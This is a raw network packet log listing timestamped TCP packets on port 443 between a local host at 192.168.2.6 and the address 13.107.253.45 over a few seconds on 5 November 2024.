Nov 5, 2024 20:51:19.014491081 CET	443	49790	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.014540911 CET	49790	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.014640093 CET	49790	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.014656067 CET	443	49790	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.017491102 CET	49795	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.017527103 CET	443	49795	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.017597914 CET	49795	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.017765045 CET	49795	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.017777920 CET	443	49795	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.127665043 CET	443	49791	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.127823114 CET	443	49791	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.127878904 CET	49791	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.127943039 CET	49791	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.127959013 CET	443	49791	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.127969027 CET	49791	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.127974033 CET	443	49791	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.130752087 CET	49796	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.130789042 CET	443	49796	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.130853891 CET	49796	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.131017923 CET	49796	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.131032944 CET	443	49796	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.217767954 CET	443	49792	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.218348980 CET	49792	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.218378067 CET	443	49792	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.218801975 CET	49792	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.218806982 CET	443	49792	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.355925083 CET	443	49792	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.356091976 CET	443	49792	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.356157064 CET	49792	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.356295109 CET	49792	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.356295109 CET	49792	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.356307030 CET	443	49792	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.356314898 CET	443	49792	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.359395027 CET	49797	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.359420061 CET	443	49797	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.359498978 CET	49797	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.359631062 CET	49797	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.359642982 CET	443	49797	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.763614893 CET	443	49794	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.763855934 CET	443	49795	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.764259100 CET	49794	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.764271021 CET	443	49794	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.764795065 CET	49795	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.764808893 CET	443	49795	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.765043020 CET	49795	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.765044928 CET	49794	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.765048027 CET	443	49795	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.765049934 CET	443	49794	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.881386042 CET	443	49796	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.884844065 CET	49796	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.884866953 CET	443	49796	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.885387897 CET	49796	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.885395050 CET	443	49796	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.890696049 CET	443	49793	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.891459942 CET	49793	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.891459942 CET	49793	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.891473055 CET	443	49793	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.891486883 CET	443	49793	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.898592949 CET	443	49795	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.898931026 CET	443	49795	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.899085045 CET	49795	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.899085045 CET	49795	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.899352074 CET	49795	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.899363995 CET	443	49795	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.901766062 CET	49798	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.901806116 CET	443	49798	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.901885033 CET	49798	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.901998043 CET	49798	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.902012110 CET	443	49798	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.930367947 CET	443	49794	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.930430889 CET	443	49794	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.930567026 CET	49794	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.930685997 CET	49794	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.930685997 CET	49794	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.930695057 CET	443	49794	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.930702925 CET	443	49794	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.933357954 CET	49799	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.933384895 CET	443	49799	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.933629036 CET	49799	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.933629036 CET	49799	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:19.933653116 CET	443	49799	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.019534111 CET	443	49796	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.019591093 CET	443	49796	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.019824982 CET	49796	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.019824982 CET	49796	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.019912004 CET	49796	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.019927025 CET	443	49796	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.022336006 CET	49800	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.022367954 CET	443	49800	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.022548914 CET	49800	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.022671938 CET	49800	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.022685051 CET	443	49800	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.030148983 CET	443	49793	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.030303955 CET	443	49793	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.030385017 CET	49793	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.030406952 CET	49793	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.030406952 CET	49793	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.030414104 CET	443	49793	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.030421019 CET	443	49793	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.032553911 CET	49801	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.032586098 CET	443	49801	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.032789946 CET	49801	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.032830954 CET	49801	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.032836914 CET	443	49801	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.100438118 CET	443	49797	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.101357937 CET	49797	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.101357937 CET	49797	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.101376057 CET	443	49797	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.101387024 CET	443	49797	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.235783100 CET	443	49797	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.235918045 CET	443	49797	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.236037970 CET	49797	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.236073971 CET	49797	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.236073971 CET	49797	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.236084938 CET	443	49797	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.236093044 CET	443	49797	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.238846064 CET	49802	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.238878012 CET	443	49802	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.239011049 CET	49802	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.239135981 CET	49802	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.239149094 CET	443	49802	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.670424938 CET	443	49798	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.671508074 CET	49798	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.671508074 CET	49798	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.671528101 CET	443	49798	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.671544075 CET	443	49798	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.689021111 CET	443	49799	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.689800024 CET	49799	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.689800024 CET	49799	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.689814091 CET	443	49799	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.689827919 CET	443	49799	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.773351908 CET	443	49800	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.773772955 CET	49800	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.773785114 CET	443	49800	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.774214983 CET	49800	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.774219990 CET	443	49800	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.780616999 CET	443	49801	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.780983925 CET	49801	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.780993938 CET	443	49801	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.781435966 CET	49801	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.781441927 CET	443	49801	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.806324005 CET	443	49798	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.806499004 CET	443	49798	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.806550980 CET	49798	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.806632042 CET	49798	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.806646109 CET	443	49798	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.806658030 CET	49798	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.806663036 CET	443	49798	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.808823109 CET	49803	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.808834076 CET	443	49803	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.808918953 CET	49803	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.809040070 CET	49803	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.809051037 CET	443	49803	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.829684019 CET	443	49799	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.830022097 CET	443	49799	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.830084085 CET	49799	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.830146074 CET	49799	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.830153942 CET	443	49799	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.830213070 CET	49799	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.830218077 CET	443	49799	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.832293987 CET	49804	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.832318068 CET	443	49804	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.832376003 CET	49804	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.832575083 CET	49804	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.832588911 CET	443	49804	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.924247980 CET	443	49800	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.924300909 CET	443	49800	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.924352884 CET	49800	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.924602032 CET	49800	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.924623013 CET	443	49800	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.924643993 CET	49800	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.924649954 CET	443	49800	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.925143003 CET	443	49801	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.925200939 CET	443	49801	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.925260067 CET	49801	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.925806999 CET	49801	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.925817966 CET	443	49801	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.928931952 CET	49805	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.928946018 CET	443	49805	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.929012060 CET	49805	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.929394960 CET	49805	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.929405928 CET	443	49805	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.929776907 CET	49806	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.929809093 CET	443	49806	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.929888964 CET	49806	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.930015087 CET	49806	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.930027008 CET	443	49806	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.993581057 CET	443	49802	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.994024038 CET	49802	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.994040966 CET	443	49802	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:20.994473934 CET	49802	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:20.994478941 CET	443	49802	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.129960060 CET	443	49802	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.130019903 CET	443	49802	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.130089998 CET	49802	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.130280972 CET	49802	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.130280972 CET	49802	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.130290985 CET	443	49802	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.130299091 CET	443	49802	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.133176088 CET	49807	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.133203983 CET	443	49807	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.133297920 CET	49807	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.133469105 CET	49807	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.133481979 CET	443	49807	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.570360899 CET	443	49803	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.570822001 CET	49803	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.570832014 CET	443	49803	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.571326971 CET	49803	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.571331024 CET	443	49803	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.666950941 CET	443	49804	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.667635918 CET	49804	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.667649031 CET	443	49804	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.668315887 CET	49804	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.668325901 CET	443	49804	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.676357985 CET	443	49806	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.676847935 CET	49806	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.676857948 CET	443	49806	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.677326918 CET	49806	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.677331924 CET	443	49806	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.681364059 CET	443	49805	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.681757927 CET	49805	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.681781054 CET	443	49805	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.682405949 CET	49805	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.682413101 CET	443	49805	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.711767912 CET	443	49803	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.711843967 CET	443	49803	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.711936951 CET	49803	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.712107897 CET	49803	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.712107897 CET	49803	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.712126017 CET	443	49803	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.712135077 CET	443	49803	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.718575954 CET	49808	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.718596935 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.718717098 CET	49808	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.721106052 CET	49808	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.721117973 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.809051037 CET	443	49804	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.809292078 CET	443	49804	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.809393883 CET	49804	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.809393883 CET	49804	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.809478998 CET	49804	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.809494019 CET	443	49804	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.811881065 CET	49809	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.811917067 CET	443	49809	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.812109947 CET	49809	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.812236071 CET	49809	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.812249899 CET	443	49809	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.812937975 CET	443	49806	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.813154936 CET	443	49806	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.813314915 CET	49806	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.813314915 CET	49806	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.813355923 CET	49806	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.813360929 CET	443	49806	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.815217018 CET	49810	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.815237045 CET	443	49810	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.815329075 CET	49810	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.815418959 CET	49810	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.815428972 CET	443	49810	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.821681976 CET	443	49805	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.821866035 CET	443	49805	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.821942091 CET	49805	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.821942091 CET	49805	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.822089911 CET	49805	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.822104931 CET	443	49805	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.823765993 CET	49811	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.823780060 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.823919058 CET	49811	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.823967934 CET	49811	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.823975086 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.946858883 CET	443	49807	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.947465897 CET	49807	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.947479010 CET	443	49807	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:21.947812080 CET	49807	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:21.947817087 CET	443	49807	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.091161013 CET	443	49807	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.091355085 CET	443	49807	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.091469049 CET	49807	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.091615915 CET	49807	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.091628075 CET	443	49807	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.091659069 CET	49807	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.091665030 CET	443	49807	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.094665051 CET	49812	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.094688892 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.094830990 CET	49812	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.095181942 CET	49812	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.095192909 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.490587950 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.491358995 CET	49808	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.491388083 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.492589951 CET	49808	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.492595911 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.564348936 CET	443	49809	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.565490961 CET	49809	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.565490961 CET	49809	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.565510988 CET	443	49809	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.565529108 CET	443	49809	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.578849077 CET	443	49810	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.579303026 CET	49810	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.579333067 CET	443	49810	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.580670118 CET	49810	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.580677032 CET	443	49810	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.630461931 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.630486012 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.630667925 CET	49808	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.630680084 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.630981922 CET	49808	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.630992889 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.631000996 CET	49808	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.631139994 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.631169081 CET	443	49808	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.631437063 CET	49808	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.633755922 CET	49813	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.633800030 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.633958101 CET	49813	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.634113073 CET	49813	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.634129047 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.703726053 CET	443	49809	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.703814030 CET	443	49809	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.703915119 CET	49809	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.704000950 CET	49809	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.704000950 CET	49809	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.704021931 CET	443	49809	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.704030991 CET	443	49809	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.707520008 CET	49814	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.707561970 CET	443	49814	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.707649946 CET	49814	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.707823038 CET	49814	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.707835913 CET	443	49814	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.714504004 CET	443	49810	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.719110966 CET	443	49810	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.719161034 CET	49810	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.719207048 CET	49810	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.719223022 CET	443	49810	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.719235897 CET	49810	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.719240904 CET	443	49810	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.722176075 CET	49815	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.722212076 CET	443	49815	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:22.722307920 CET	49815	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.722527027 CET	49815	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:22.722536087 CET	443	49815	13.107.253.45	192.168.2.6
